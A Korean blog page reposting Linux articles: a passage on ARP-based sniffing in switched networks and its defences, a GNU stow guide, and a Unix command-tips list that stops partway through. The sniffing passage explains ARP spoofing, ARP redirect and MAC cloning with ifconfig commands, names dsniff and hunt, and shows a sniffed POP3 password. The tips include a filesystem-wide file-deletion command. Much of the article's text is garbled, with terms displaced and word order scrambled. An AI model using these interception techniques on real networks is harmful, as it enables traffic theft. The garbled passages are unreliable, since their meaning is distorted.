스니핑 할 수 있다 서버에서 서버에게 의 주소가 가 아니라 . B A 211.47.65.3 MAC CC:CC
서버의 주소인 라는 패킷을 발송하고 서버에는 의 주 B MAC BB:BB , C 211.47.65.1 MAC
소가 가 아니라 서버의 주소인 라는 패킷을 발송하는 것이다 그렇 AA:AA B MAC BB:BB .
게 되면 서버와 서버는 이 정보를 의심없이 받아들여 정보를 갱신한 후 와 간 통신 A C A C
시 모든 패킷은 서버로 보내지게 되며 서버는 모든 패킷을 받은 후 원래의 서버로 포 B B
워딩만 해 주면 되는 것이다 이때 서버의 로 설정되어 있어야 원 . B net.ipv4.ip_forward=1
래의 서버로 패킷을 포워딩하게 되며 와 서버는 정상적인 데이터 전송이 되므로 패킷이 A C
를 거쳐간다는 사실을 알 수 없게 되는 것이다 B .
(3) ARP Redirect
역시 과 비슷한 방법인데 자신이 마치 인 것처럼 ARP Redirect ARP Spoofing , Gateway
위조된 을 하여 모든 트래픽이 자신을 통과하게 하는 방법이다 즉 와 MAC Broadcast . , A C
서버에게 주소인 의 주소가 라우터의 주소인 Gateway 211.47.65.254 MAC MAC RR:RR
이 아니라 서버의 주소인 라는 패킷을 하는 것이다 그렇게 되 B MAC BB:BB broadcast .
면 로컬 랜상에 있는 서버들은 이 정보를 아무런 의심없이 받아들여 캐시 정보를 갱신한 후
게이트웨이로 보내는 모든 패킷을 가 아니라 서버인 로 보내게 211.47.65.254 B 211.47.65.2
되며 서버는 모든 패킷을 받은 후 원래의 게이트웨이인 로 포워딩만 해 , B 211.47.65.254
주면 되는 것이다 이때 서버의 로 설정되어 있어야 원래의 게이 . B net.ipv4.ip_forward=1
트웨이로 패킷을 포워딩하게 되며 와 서버는 정상적인 데이터 전송이 되므로 패킷이 A C B
를 거쳐간다는 사실을 알 수 없게 되는 것이다.
(4) MAC Duplicating
만약 서버에서 서버의 트래픽을 스니핑하고 싶다면 서버에서 서버의 주소와 B A B A MAC
같은 정보로 설정을 하는 방법이 바로 이다 를 이용하면 이 MAC MAC Duplicating . ifconfig
는 어렵지 않게 설정할 수 있는데 이를테면 의 주소가 인 , eth0 MAC 00:50:8B:9A:1B:1B
경우 이를 와 같이 설정하고자 한다면 먼저 으 AA:AA:AA:AA:AA:AA ifconfig eth0 down
로 인터페이스를 다운시킨 후 와 eth0 ifconfig eth0 hw ether AA;AA:AA:AA:AA:AA up
같이 실행하면 인터페이스의 정보를 변경할 수 있다 이러할 경우 스위치를 혼 eth0 MAC .
란시켜 두 포트 모두 같은 주소를 가진 것처럼 인식하게 되며 스위치는 서버로 보 MAC A
낼 트래픽을 와 모두에게 발송하게 되는 것이다 데이터는 두 포트 모두에게 보내어지 A B .
므로 서버에서는 포워딩을 설정할 필요가 없다 B IP .
실제로 위와 같이 스위치 환경에서 스니핑하는 것은 그리 어렵지 않으며
나 등과 같은 관련 툴을 이용하면 어 hunt dsniff(http://www.monkey.org/~dugsong/dsniff/)
렵지 않게 구현할 수 있다.
스니핑 차단하기
이제 스위치 환경도 결코 스니핑에 안전하지 않다는 사실을 알았을 것이다 그렇다면 스위 .
치 또는 환경에서 어떻게 보안을 강화할 수 있을까 아래의 몇 가지 방법을 대안으 dummy ?
로 제시할 수 있다.
(1) IP Flitering
스위치에서 제공하는 기능을 사용함으로써 각각의 포트에서 오가는 트래픽을 IP Filtering
필터링 할 수 있다 그러나 이 기능을 제공하는 스위치에서만 가능하며 매번 포트가 바뀔 .
때마다 수작업으로 설정해 주어야 하므로 많은 수고가 따르게 된다.
(2) Port security
만약 스위치에서 기능을 지원할 경우 나 을 예방 Port security MAC Flood MAC Spoofing
할 수 있는 방법으로 각각의 포트에 물리적인 주소를 정적 으로 설정하는 것이 MAC (Static)
다 각종 기반의 스니핑에 가장 확실한 방법이라 할 수 있지만 과연 이렇게 하는 곳이 . ARP
얼마나 될까는 의문이다.
원격지 서버의 스니핑 모니터링 프로그램
특정 서버에서 스니핑이 작동하고 있는지 리눅스의 경우 를 실행시 가 설 ifconfig PROMISC
정 되었는지 여부로 확인할 수 있다고 하였다 그런데 관리하는 서버가 여러 대라면 매번 . ,
로그인하여 로 설정 여부를 확인하겠는가 거기다가 만약 실행 ifconfig PROMISC ? ifconfig
파일 자체가 변조되어 결과를 신뢰할 수 없다면 이는 아무런 의미가 없게 되는 ifconfig ?
것이다 이를 위해 원격에서도 특정 서버의 스니핑 작동여부를 체크할 수 있는 과 . Sentinel
라는 프로그램을 소개하고자 한다 을 설치하려면 미리 패킷 캡처 라 AntiSniff . Sentinel
이브러리인 과 가 설치되어야 하는데 각각 Libnet 1.0 libpcap ,
와 (http://www.packetfactory.net/Projects/libnet) (ftp://ftp.ee.lbl.gov/libpcap-0.4.tar.Z)
에서 다운로드 받아 압축 해제 후 압축이 풀린 디렉토리에서 ./configure; make ; make
로 설치하면 된다 그리고 은 install . Sentinel
에서 다운로드 할 수 있으며 다운로드후 http://www.packetfactory.net/Projects/sentinel/
압축 해제를 하고 압축이 풀린 디렉토리에서 로 컴파일하여 설치하면 된다 현재 make all .
이 원격지 시스템에서 스니핑 여부를 감지하는 방법은 가지가 있는데 이 방법은 Sentinel 3 ,
각각 등이다 참고로 이 방법은 를 이용한 방 DNS test, Etherping test, ARP test . ARP
법이므로 같은 네트워크 세그먼트에 속해 있어야만 탐지의 의미가 있다는 점을 양지하기 바
란다.
먼저 각각의 방법이 가능한 원리에 대해 간단히 살펴보면 우선 의 경우 목적지 , DNS test
서버에 위조된 연결 요청을 보내어 일반적인 스니핑 프로그램이 요청한 시스템의 주소 , IP
를 역리졸브 한다는 특징을 이용하여 트래픽을 감시하여 스니 (Inverse DNS lookup) DNS
핑 여부를 감지하는 방법이다 는 목적지에 패킷을 보낼 때 목적지의 . Etherping test ping
는 맞지만 목적지의 주소는 존재하지 않는 정보로 위조하여 IP MAC Icmp Echo Packet
을 보내어 응답이 오는지 여부를 감시하는 방법으로 대부분의 정상적인 시스템에서는 존재
하지 않는 정보이기 때문에 패킷에 대해 응답하지 않지만 가 설정된 MAC promisc mode
시스템에서는 이와 관계없이 응답을 한다는 특징을 이용하여 감시하는 방법이다 마찬가지 .
로 역시 는 목적지의 로 설정하지만 목적지의 주소를 다르게 하여 ARP test IP IP MAC
대신 요구를 보내는 방법으로 모드가 아닌 경우에는 패킷이 목적지까 icmp ARP Promisc
지 갈 수 없으므로 목적지에서는 응답하지 않지만 모드인 경우에는 모든 패킷을 Promisc
받아들이므로 결국 응답한다는 특징을 이용하여 스니핑 여부를 감시하는 방법이다 각각의 .
방식에 대한 실행 예는 아래와 같다.
테스트 ./sentinel -a -t 211.47.65.4 # ARP
테스트 ./sentinel -d -f 1.1.1.1 -t 211.47.65.4 # DNS
테스트 ./sentinel -e -t 211.47.65.4 # Etherping
개의 테스트를 동시에 수행 ./sentinel -t 211.47.65.4 -f 1.1.1.1 -d -a e # 3 –
위와 같이 실행시
Results: 211.47.65.4 tested positive to etherping test.
와 같이 탐지 결과가 가 나오면 모드로 설정되었다는 의미이므로 해당 positive Promisc
인터페이스의 여부를 조사하여야 한다 그런데 한 시스템에 대해 각각의 테스트 PROMISC . ,
를 동시에 실행했을 때 결과가 각기 다르게 나오는 경우가 있는데 이는 리눅스의 커널 버 ,
전에 따라 종종 발생하는 현상으로 세 가지 방법중에 어느 하나라도 라는 결과가 positive
나온다면 반드시 스니핑 작동 여부를 확인하기 바란다.
아울러 의 경우 에서 다운로드 Antisniff http://www.securitysoftwaretech.com/antisniff/
가능하며 리눅스 버전과 윈도우 버전의 프로그램도 사용할 수 있는데 테스트 하는 원리는 ,
위의 과 비슷하며 추가적으로 라는 재미있는 방법이 있는데 이 방 Sentinel Latency test ,
법은 스니핑이 작동시 모드로 설정되어 있을 경우에는 로컬 네트워크상의 모든 트 promisc
래픽을 받아들이느라 시스템의 로드가 전반적으로 높아진다는 점을 이용해 불필요한 쓰레기
트래픽을 전송하여 시스템의 응답 시간이 길어지는지 여부를 조회하는 방법으로 아직까지는
신뢰할 수는 없는 방법이며 계속적으로 개선중인 기능이다 100% .
윈도우 버전의 의 경우 모니터링하고자 하는 대역을 지정하여 한꺼번에 검사 Antisniff IP
가 가능하고 검사 결과에 대해 각종 통계도 볼 수 있으며 얼마의 주기로 테스트를 할 것 , ,
인지를 시간대별 날짜별 주별로 정할 수 있는 예약 기능 및 검사 결과가 변경시 메일로 , ,
발송하거나 음악이 나오게 하는 등의 알람 기능도 있어 편리하게 사용이 가능하다.
아울러 와 관련된 프로그램으로 작지만 강력한 프로그램인 라는 프로그램을 arp ARPWatch
소개하고자 한다 앞에서 를 실행하였을때 실시간으로 주소와 . tcpdump -e arp IP MAC “ ”
정보가 되는 것을 확인하였을 것이다 broadcast . 이 프로그램은 이러한 ARP 트래픽을 실시
간으로 모니터링하여 MAC 주소와 IP 간의 매칭을 감시하는 프로그램으로서 만약 현재
의 ARP 정보가 데이터베이스에 저장되어 있는 정보와 다르 ARP 거나 새로운 MAC 주소가
추가/확인시에는 해당하는 내용을 지정된 관리자에게 메일로 통보하게 된다 프 . arpwatch
로그램을 이용하면 MAC 주소나 ARP를 이용하는 공격에 대한 대응 및 네트워크 관리에
매우 유용하다.
암호화 전송 프로토콜 사용하기
앞에서 가 얼마나 취약한지 그리고 이를 위한 대책이 어떤 것이 있는지 알아보았 TCP/IP
다 물론 의 취약점을 개선하기 위해 등 새로운 개발이 가시화되고 있지만 현 . TCP/IP ipv6
재의 상태에서 가장 확실한 방법은 암호화 전송 프로토콜을 사용하는 것에는 모두 동의할
것이다 이는 대신 를 대신 를 사용한다고 말했었다 그렇다면 . telnet ssh , http https . ftp,
등 다른 프로토콜은 어떻게 할 것인가 만약 만 사용한다면 그냥 를 smtp, pop3 ? telnet ssh
사용하기만 하면 되겠지만 한 서버에서 과 등을 함께 사용한다면 어느 하 telnet ftp, pop3
나의 서비스만 암호화하는 것은 그리 큰 의미가 없다 어차피 자체가 취약한 것이 . TCP/IP
므로 암호화 전송 프로토콜을 사용하려면 모든 서비스에 대해 암호화 전송 프로토콜을 사용
해야 하기 때문이다 그래서 이를 위해 기존 기반의 서비스에 암호화 전송 프로토 . TCP/IP
콜을 사용하려면 아래와 같은 두 가지 방법이 가능하다.
를 이용한 암호화 (1) sslwrap
의 포트전송 기능을 이용한 암호화 (2) SSH
를 이용한 암호화 (1) sslwrap
는 나 등의 서비스를 감싸 을 이용하여 모든 sslwrap pop3 imap, smtp TCP TSL/SSL
데이터 전송을 암호화하는 간단한 유닉스 서비스로서 기존의 서비스를 다시 설치할 TCP
필요없이 어렵지 않게 사용이 가능하다 를 이용하려면 이나 를 설 . sslwrap openssl ssleay
치하여야 하는데 여기에서는 을 사용하는 방법을 알아보도록 하자 , openssl .
먼저 에 접속하여 최신의 을 다운로드하여 설치할 서버에 http://www.openssl.org/ openssl
업로드한다.
또는 설치할 서버에서 직접 lynx http://www.openssl.org/source/openssl-0.9.6b.tar.gz “ ”
나 로 다운로드 받아도 된 wget http://www.openssl.org/source/openssl-0.9.6b.tar.gz “ ”
다 다운로드 후 압축 해제하여 압축이 풀린 디렉토리에서 아래와 같이 실행하여 컴파일하 .
여 설치를 한다.
[root@www ~/openssl-0.9.6b]# ./config ; make; make test; make install
이번에는 을 설치할 차례이다 sslwrap .
역시 나 "lynx http://www.rickk.com/sslwrap/sslwrap.tar.gz"
으로 다운로드한 후 압축 해제하여 "wget http://www.rickk.com/sslwrap/sslwrap.tar.gz"
만 실행하여 컴파일하면 된다 컴파일후 생성된 파일을 디렉토리 make . sslwrap /usr/sbin/
레 복사한다 혹 컴파일이 잘 안되는 경우에는 에서 자신의 버전에 맞 . http://rpmfind.net/
는 적당한 파일을 다운로드하여 설치해도 된다 rpm .
이번에는 인증서를 생성할 차례이다 물론 베리사인이나 등 공인된 . Thawte CA(Certificate
Authority) 기관에서 일정정도 비용을 지불하고 를 생성후 인증서를 구입하는 방법도 , CSR
있지만 여기에서는 자기 자신이 사인한 인증서를 발급하는 방법에 대해 알아보도록 하자.
인증서를 발급하는 명령어는 아래와 같다.
# openssl req -new -x509 -nodes -out /usr/local/include/sslwrap.pem -keyout
/usr/local/include/sslwrap.pem -days 365
이 명령어를 한줄에 이어서 입력하기 바란다 아래는 위와 같이 실행시 보이는 화면이다 . .
Using configuration from /usr/share/ssl/openssl.cnf
Generating a 1024 bit RSA private key
.....++++++
..++++++
writing new private key to '/usr/local/include/sslwrap.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:KR
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:Seoul
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Today & Tomorrow
Organizational Unit Name (eg, section) []:Net-Center
Common Name (eg, your name or your server's hostname) []:test1.tt.co.kr
Email Address []:antihong@tt.co.kr
위에서 굵게 표시된 부분은 각자의 상황에 맞게 적절히 입력하여야 하는 내용이다.
각각에 대해 잠깐 알아보도록 하자.
Country Name (2 letter code) [AU]:KR
국가 이름을 코드로 입력한다 한국은 이라 입력한다 --> . KR .
State or Province Name (full name) [Some-State]:
주는 존재하지 않으므로 적당히 입력하거나 그냥 엔터를 입력한다 --> .
Locality Name (eg, city) []:Seoul
--> 도시이름을 입력한다.
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Today & Tomorrow
회사나 조직 기관의 이름을 입력한다 --> , .
Organizational Unit Name (eg, section) []:Net-Center
부서이름을 적절히 입력한다 --> .
Common Name (eg, your name or your server's hostname) []:test1.tt.co.kr
인증서가 설치되는 서버의 받는 메일서버 주소를 입력한다 --> .
만약 여기에서처럼 에 대해 암호화 프로토콜을 사용하려면 이 주소는 아 pop3, smtp
웃룩 익스프레스등의 메일 프로그램에서 보내는 메일서버 또는 받는 메일서버로
입력할 주소이다 등과 같이 자신의 이름을 입력하지 않도록 . Kildong, Hong
주의하기 바란다.
Email Address []:antihong@tt.co.kr
자신의 주소를 입력한다 --> e-mail .
이제 인증서 생성을 끝났으므로 를 나 에 설정할 차례이다 sslwrap inetd xinetd .
먼저 파일을 열어 /etc/services
pop3s 995/tcp
smtps 465/tcp
와 같이 설정되어 있는지 확인하고 없으면 위와 같이 추가한다.
그리고 의 경우 설정 파일에 아래와 같이 추가한다 xinetd xinetd.conf .
service smpts
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = nobody
server = /usr/sbin/sslwrap
server_args = -cert /usr/local/include/sslwrap.pem -quiet -port 25
log_on_failure += USERID
}
service pop3s
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = nobody
server = /usr/sbin/sslwrap
server_args = -cert /usr/local/include/sslwrap.pem -quiet -port 110
log_on_failure += USERID
}
의 경우라면 서비스에 대해 파일에 아래와 같이 설정할 수 있다 inetd pop3s inetd.conf .
pop3s stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/sslwrap
-cert /usr/local/include/sslwrap.pem -port 110
이와 같은 방식으로 다른 서비스도 아래와 같이 설정할 수 있다.
https stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/sslwrap
-cert /usr/local/include/sslwrap.pem -port 80
imaps stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/sslwrap
-cert /usr/local/include/sslwrap.pem -port 143
telnets stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/sslwrap
-cert /usr/local/include/sslwrap.pem -port 23
위와 같이 설정 후 또는 를 재시작하면 변경한 내용이 적용될 것이다 inetd xinetd .
설정한 포트가 열렸는지 아래와 같이 확인한다.
# telnet localhost pop3s
# tenlet localhost smtps
이제 서버에서의 설정은 끝났으므로 메일 클라이언트 프로그램에서 설정할 차례이다.
메일 프로그램에서 받는메일서버 보내는메일서버 를 위에서 설정한 서버이름으 (pop3), (smtp)
로 입력하고 고급 탭에서 보내는 메일서버와 받는 메일서버에 아래 그림과 같이 보안연결 , “
필요 를 선택하면 와 번 포트가 설정되는 것을 확인할 수 있다 (SSL) 465 995 . ”
그림 아웃룩 익스프레스 설정 < >
이제 드디어 모든 설정이 끝났다 메일 송수신이 되는지 테스트해 보기 바란다 그런데 메 . . ,
일 프로그램에서 보내고 받기를 클릭하면 아래와 같이 처음 프로그램을 시작할 때마다 경고
메시지가 뜨게 되어 여간 불편하지 않을 수 없다.
그림 공인된 인증서가 아닌 경우 경고 화면 < >
이는 공인된 인증서가 아니라 자기 자신이 사인한 인증서를 발급하였기 때문이며 이러한 경
우에는 다음과 같이 추가적인 작업을 해주면 이 메시지가 나타나지 않도록 할 수 있다.
먼저 인증서 파일인 파일을 열면 /usr/local/include/sslwrap.pem
로 시작해서 -----BEGIN RSA PRIVATE KEY----- -----END RSA PRIVATE
로 끝나는 부분과 로 시작해서 KEY----- , -----BEGIN CERTIFICATE-----
로 끝나는 부분이 있는데 이 중에서 -----END CERTIFICATE----- , "-----BEGIN
부분만 복사해서 등의 클라이 CERTIFICATE ...... END CERTIFICATE-----" Windows
언트 에 라는 파일로 복사를 한다 그리고 이 파일에서 오른쪽 마우스를 클릭 PC server.crt .
하면 인증서 설치 라는 메뉴가 보이는데 여기에서 인증서 설치 를 실행한다 이후 나오 , . “ ” “ ”
는 화면에서 모두 다음 다음 을 선택 후 마침을 선택하면 에서의 설치가 완료된 --> PC “ “ ” “
다 다음부터는 자체적으로 사인한 인증서를 사용하더라도 경고 화면이 나오지 않는 것을 .
확인할 수 있을 것이다 그럼 실제로 를 사용할 때 실제로 암호화가 되어 스니핑 할 . . pop3s
수 없는지 실제로 테스트해 보도록 하자 각종 리눅스 스니퍼 프로그램을 이용해도 되지만 .
여기에서는 를 이용해 테스트 해 보았다 tcpdump .
먼저 아래와 같이 서버에서 설정하여 연결을 캡처할 수 있도록 준비하고 로 메일을 pop3
받아보도록 하자.
# tcpdump -x host 211.1.1.1 > pop3.txt
이번에는 암호화 전송 프로토콜인 로 패킷을 캡쳐할 수 있도록 준비하고 로 pop3s pop3s
받아보도록 하자.
# tcpdump -x host 211.1.1.1 > pop3s.txt
이 명령어는 메일 클라이언트 프로그램을 실행하는 로부터의 패킷을 진수로 211.1.1.1 16
캡처하여 각각 와 라는 파일로 저장을 한다는 의미이다 이후 캡처한 데 pop3.txt pop3s.txt .
이터를 진수로 표기하는 아스키 코드표로 해석을 하면 된다 진수로 표기하는 아스키 16 . 16
표는 를 참고하기 바란다 http://www.asciitable.com/ .
또는 아래처럼 진수를 아스키로 변환해 주는 프로그램을 이용해서 변환할 수도 16 trans.pl
있다.
#!/usr/bin/perl
while(<>){
s/ //g;
s/([a-fA-F0-9][a-fA-F0-9])/pack("c",hex($1))/eg;
print $_;
}
위와 같이 작성 후 또는 를 하면 아래와 같이 덤프받은 데 perl trans.pl pop3.txt pop3s.txt
이터를 아스키로 변환할 수 있다 물론 아래처럼 깨끗하게 변환은 되지 않지만 파 . pop3.txt
일의 내용을 읽을 수 있다는 것을 확인할 수 있을 것이다 반면에 파일을 변환해 . pop3s.txt
보면 암호화가 되어 거의 어떤 문자인지 알아볼 수 없다는 것을 알 수 있을 것이다.
를 스니핑한 예 # pop3
+OK POP3 test1.tt.co.kr v2001.77 server ready
user user1
+OK User name accepted, password please
pass dkssud
+OK Mailbox open, 2 messages
를 스니핑한 예 #pop3s
E[u@@??Aj
?@.? D57? 霑
뿔 P a?u?8?? ?
ᇹ ? 4?Ti 欠夫
EFv@@??Aj
?@.? w57? 霑
를 이용한 방법에 대해서는 를 참고하기 sslwrap http://www.quiltaholic.com/rickk/sslwrap/
바란다.
의 포트 포워딩 기능을 이용한 암호화 (2) SSH
클라이언트와 서버 연결 구간에는 암호화 통신을 한다는 것을 알고 있다 이 특성을 활 ssh .
용하여 에서 제공하는 포트 포워딩 기능을 이용하면 암호화가 제공되지 않는 프로토콜 ssh
도 쉽게 암호화 전송할 수 있다 쉽게 이야기하면 에서 기존의 서비스를 캡슐로 싸서 . ssh
서비스한다고 생각해도 된다.
포트 포워딩 기능을 이용해 클라이언트와 서버 사이에 암호화를 위한 터널을 구성 ssh ssh
할 수 있는데 이를 구성하기 위한 방법은 로컬포트 포워딩 과 원격포트 포워딩 두 가지 , “ “ ” “
방법이 있다 두 방법 모두 거의 유사한 방법이므로 여기에서는 로컬포트 포워딩 방법에 대 .
해 알아보도록 하자.
클라이언트와 서버간에는 암호화 전송이 되기 때문에 일단 연결을 할 기존의 ssh ssh tcp
서버외에 연결을 할 클라이언트로 사용할 추가적인 한 대의 서버가 더 필요하다 ssh .
아래와 같이 두 대의 서버가 있다고 하자.
서버는 클라이언트 연결을 하여 클라이언트의 연결을 받아 를 이용하여 forward ssh ssh
연결을 포워딩 할 서버이고 서버가 포워딩을 받아 실제로 서비스를 제공할 서 TCP www
버이다.
그림 포트 포워딩서버 구성도 < > ssh
위와 같은 환경에서 하여야 할 일은 먼저 암호화를 할 포트에 대해 터널을 구성하는 ssh
것이다 이는 클라이언트 즉 서버에서 다음과 같은 형식으로 연결을 하면 된 . ( forward) ssh
다.
로컬포트 원격호스트 원격포트 서버호스트 ssh -L : : :SSH
위와 같은 환경에서는 원격 호스트와 서버 호스트가 같으므로 서버에서 단지 SSH forward
와 같이 접속을 하면 된다 아래는 실제 접속 예이다 ssh -L 10110:www:110:www . .
[root@forward /root]# ssh -L 10110:www:110 www
root@www's password:xxxxxx 암호 입력 <---
[root@www /root]#
이 상태에서 와 서버에서 각각 을 해 보면 forward www netstat
서버의 경우 forward
0 *:10110 *:* LISTEN
foirward:47883 www:22 ESTABLISHED
와 같이 번 포트가 리슨하고 있으며 서버에 번 포트로 접속해 있는 상 10110 www 22 ssh
황을 발견할 수 있을 것이다.
그리고 서버의 경우 아래와 같이 서버의 연결이 성립되어 있는 것을 확 www forward ssh
인할 수 있다.
www:22 forward:47883 ESTABLISHED
이 상태에서 외부에서 서버에 연결을 하려면 바로 서버에 번으로 연 www pop3d www 110
결하는 것이 아니라 서버에 번으로 접속을 하면 된다 아래와 같이 forward 10110 .
서버에 번 포트로 접속을 하면 서버가 아니라 서버의 번 forward 10110 forward www 110
포트가 반응하는 것을 확인할 수 있다.
# telnet forward 10110
Trying 211.1.1.2...
Connected to forward.
Escape character is '^]'.
+OK POP3 www v2001.75 server ready
실제로 아웃룩 익스프레스등 메일 프로그램에서도 받는 메일 서버 에 기존의 대 (pop3) www
신 로 입력하고 고급 탭에서도 아래와 같이 기존의 번 포트 대신에 forward 110 10110 “ ”
을 입력한다 그리고 이와 같은 의 포트 포워딩 방식으로 나 서비스도 . ssh smtp telnet, ftp
암호화 전송할 수 있는데 만약 서비스에 대해 기존의 번 대신 와 같이 포워 , smtp 25 10125
딩 하였을 경우에는 아래와 같이 포트를 변경하여 설정하면 된다.
그림 포트 포워딩시 설정예 < > .
이 상태에서 앞에서 했던 방법으로 를 이용하여 스니핑을 해서 포트 포워딩된 패 tcpdump
킷을 캡처해 보면 암호화 전송이 되고 있는 것을 확인할 수 있을 것이다.
마치면서
가 디자인 될 당시에는 네트워크는 그리 복잡하지 않았고 상호간에 신뢰할 수 있었 TCP/IP
기 때문에 그다지 보안을 고려하지 않아 는 그 자체적으로 매우 많은 보안적인 결함 TCP/IP
을 가지고 있다 앞에서 밝힌 것 외에도 다른 많은 보안적 결함이 있으며 이를 이용한 많은 .
공격들이 인터넷상에 존재한다 이 글을 계기로 늘 사용하고 있는 프로토콜이 그 . TCP/IP
자체로 얼마나 보안적인 취약점을 안고 있는지 알 수 있는 계기가 되었기를 바라며 아울러
실제적인 방법이나 기법보다는 그 작동 원리에 대해 조금이나마 알게 되었기를 바란다.
이외 더 많은 정보에 대해서는 아래의 사이트가 도움이 될 것이다.
참고사이트 :
http://packetstorm.decepticons.org/sniffers/
http://www.linuxsecurity.com/resource_files/network_security/sniffing-faq.html
http://www.robertgraham.com/pubs/network-intrusion-detection.html
http://www.certcc.or.kr/paper/tr2000/2000-07/tr2000-07.htm
http://www.ietf.org/rfc/rfc0826.txt?number=826






▶ 원문: http://www.tt.co.kr/~antihong/documents/arp_sniffing.pdf


◆ 가우리정보센터 (GBC)

2006/09/08 22:43 2006/09/08 22:43
이 글에는 트랙백을 보낼 수 없습니다
Linux  2006/09/08 22:41
출처 카페 > 운영체제 공부 / 쩡희
원본 http://cafe.naver.com/jeonghee1004/17
stow는 프로그램을 직접 컴파일하여 설치할때, 삭제 제거를 쉽게 할 수 있도록 도와주는 프로그램입니다.

일반적으로 직접 컴파일한 소스는 /usr/local 아래에 설치되며, 이렇게 설치된 프로그램이 늘면 제거하거나 업데이트 하기에 어렵습니다. 그래서 /usr/local/<프로그램명>-<버전> 아래에 설치하기도 하는데, 이것은 삭제와 제거가 쉽지만 프로그램 binary, header, library, man page를 사용하는데에는 불편함이 따릅니다. 이때 stow를 사용하여 프로그램을 /usr/local 아래로 link, unlink 하면 경로로 인한 불편함도 없어지고 프로그램 설치와 제거가 쉬워집니다.

stow가 사용할 디렉토리를 만듭니다.
인용:
mkdir /usr/local/stow

다음과 같이 컴파일하여 설치합니다.
인용:
./configure --prefix=/usr/local/stow/<프로그램이름>
make
make install

/usr/local/stow 아래에 설치된 프로그램을 /usr/local로 링크합니다.
인용:
cd /usr/local/stow
stow <프로그램이름>  

제거할때는 다음과 같이 명령하면, 프로그램이 열심히 링크를 찾아 지워줍니다.
인용:
cd /usr/local/stow
stow -D <프로그램이름>

2006/09/08 22:41 2006/09/08 22:41
이 글에는 트랙백을 보낼 수 없습니다
Linux  2006/09/08 22:39
출처 블로그 > Linux & Server & Music ~★
원본 http://blog.naver.com/paradox1573/40013015745

유닉스 혹은 리눅스용 커맨드 팁 모음입니다.


  1. 서브 디렉토리까지 파일안의 문자열 모두 검색
  2. haha와 huhu가 동시에 들어있는 행 뽑기
  3. 찾아서 지우기
  4. 공사중에 로그인 막기
  5. 크기가 가장 큰 파일, 디렉토리 찾기
  6. 가장 큰 파일을 찾으려면
  7. 현재 디렉토리의 크기만을 파악할때
  8. 시스템 정보 감추기
  9. 어떤 프로세스가 메모리를 가장 많이 잡아먹고 있는지 알아내기
  10. FTP로 들어온 사용자 확인하기
  11. 원하지 않는 사용자 죽이기
  12. less 결과를 vi로 보기
  13. vi에서 블럭 설정하기
  14. man 페이지 프린트하기
  15. ping 무시하기
  16. LILO 다시 살리기
  17. 특정 사용자 ftp 접근 막기
  18. X 윈도우에서 TV보기
  19. ls라는 파일이 포함된 rpm패키지 찾기
  20. 현재 rpm패키지의 의존패키지
  21. 현재 디렉토리크기
  22. 바로 이전 디렉토리로 가기
  23. 프로세스명으로 프로세스 죽이기
  24. 하드웨어 시계맞추기
  25. 원격에서 리모트서버의 X application실행시
  26. 링크 파일
  27. ^M 문자 없애기
  28. 비어있는 행을 찾기
  29. 기타 명령어 떼
  30. 각자가 사용하는 컴퓨터의 정보를 알고 싶을때
  31. 전체 메일
  32. 디렉토리만 빠르게 검색
  33. 호스트 네임 바꾸기
  34. 틀린명령어 틀린글자만 바꿔서 실행
  35. 유닉스의 현재 버젼과 종류 그리고 라이센스등을 알려주는 명령어
  36. 열려있는 포트 알아내기
  37. 텔넷 모든 접속자에게 메세지 보내기
  38. lsof는 열려있는 파일을 나타내 주는 옵션
  39. 사용자가 어디에서 무엇을 하는지 알아내기
  40. 텔넷 화면 수정
  41. 하위 디렉토리 한꺼번에 만들기
  42. 특정디렉토리의 모든 파일 안의 특정 문자열 치환
  43. killall 명령 시뮬레이션 (프로세스명으로 죽이기)
  44. find와 grep
  45. vi 검색, 치환
  46. 파일내의 중복되는 행을 제거 : uniq
  47. 파일의 결합
  48. 파일의 암호화 : crypt
  49. 개행을 제외한 화면내의 보이지 않는 문자 출력
  50. 화일내의 포함된 특정문자열로 찾아서 내용만 출력하기
  51. 특정 파일의 화일명을 비슷하게 여러개 한꺼번에 바꾸기
  52. 어제 날짜 구하기
  53. 원하지 않는 사용자 죽이기
  54. UNIX상에서 한글출력이 깨져 나올경우
  55. 현재 디렉토리의 대량의 파일을 각자의 파일명가운데에 특정문자 추가하여 바꾸기

0.0.0.1 서브 디렉토리까지 파일안의 문자열 모두 검색

find ./ -name "*" -exec grep 'abc' {} \; -print find . -name -print -exec grep abc {} \; grep -r abc * 

0.0.0.2 haha와 huhu가 동시에 들어있는 행 뽑기

grep haha foo.txt | grep huhu 

0.0.0.3 찾아서 지우기

find / -name "*.eml" -exec rm -f {} \; 

0.0.0.4 공사중에 로그인 막기

시스템을 공사중일 때, root 이외의 다른 사용자를 로그인 못하게 해야 할 때가 있죠? 그럴 때는, /etc/nologin 이라는 파일을 만들어,공사중 또는 Under Construction이라는 공지를 넣으면 됩니다.

0.0.0.5 크기가 가장 큰 파일, 디렉토리 찾기

가장 큰 디렉토리를 찾으려면, du -S | sort -n

0.0.0.6 가장 큰 파일을 찾으려면

ls -lR | sort +4n

0.0.0.7 현재 디렉토리의 크기만을 파악할때

[root@dev2 local]# du -c -h --max-depth=0 * 6.4M    apache 35M     bin 43M     dns 1.7M    doc 42k     etc 1.0k    games 42k     geektalkd 1.1M    gnuws 1.1M    include 41k     info 19M     jakarta-tomcat-3.2.3 0       jre 15M     jre118_v3 25M     lib 62k     libexec 1011k   man 1.3M    mm.mysql.jdbc-1.2c 937k    sbin 3.8M    share 1.8M    shoutcast-1-8-3-linux-glibc6 5.2M    ssl 159M    total 

0.0.0.8 시스템 정보 감추기

/etc/inetd.conf 파일을 열어서,
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h 

0.0.0.9 어떤 프로세스가 메모리를 가장 많이 잡아먹고 있는지 알아내기

ps -aux | sort +4n 또는 ps -aux | sort +5n

0.0.0.10 FTP로 들어온 사용자 확인하기

ftpwho,ftpcount

0.0.0.11 원하지 않는 사용자 죽이기

